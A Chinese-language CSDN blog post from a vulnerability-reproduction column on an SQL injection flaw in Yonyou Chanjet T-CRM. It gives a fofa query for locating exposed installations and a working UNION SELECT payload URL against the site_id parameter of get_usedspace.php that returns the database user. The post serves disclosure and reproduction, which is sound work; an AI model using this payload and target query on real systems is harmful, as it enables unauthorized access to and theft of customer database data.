用友畅捷CRM存在SQL注入漏洞

sublime88

已于 2023-04-25 15:21:38 修改

阅读量555

点赞数

分类专栏：漏洞复现文章标签： sql 安全数据库

于 2023-04-21 17:47:39 首次发布

本文链接：https://blog.csdn.net/nnn2188185/article/details/130294063

版权

95 篇文章 12 订阅 ¥15.90 ¥99.00

订阅专栏

用友畅捷CRM被发现存在SQL注入漏洞，可能导致数据库信息泄露。攻击者可利用此漏洞获取网站后台数据。文章介绍了漏洞描述、影响版本、fofa查询语句、漏洞复现方法、POC工具及整改建议。

摘要由CSDN通过智能技术生成

微信公众号搜索：南风漏洞复现文库
该文章南风漏洞复现文库公众号首发

用友畅捷通T-CRM是用友公司全力打造的一款基于B/S架构、拥有强大自定义功能、多部门协作（市场、销售和服务）、基于客户全生命周期管理的客户关系管理软件。客户通主要面向成长型中小企业，以客户为中心，以客户营销为目的，帮助他们“提升营销能力，网罗天下商机”。

畅捷CRM系统存在SQL注入漏洞，攻击者可以利用该漏洞获得网站后台数据库信息，构成信息泄露风险。
用友畅捷CRM存在SQL注入漏洞

title=“畅捷CRM”

漏洞链接：

http://127.0.0.1/webservice/get_usedspace.php?site_id=-999%20UNION%20ALL%20SELECT%20CONCAT(0x7e,0x7e,user(),0x7e,0x7e)--

获取到用户名

了解本专栏

关注

专栏目录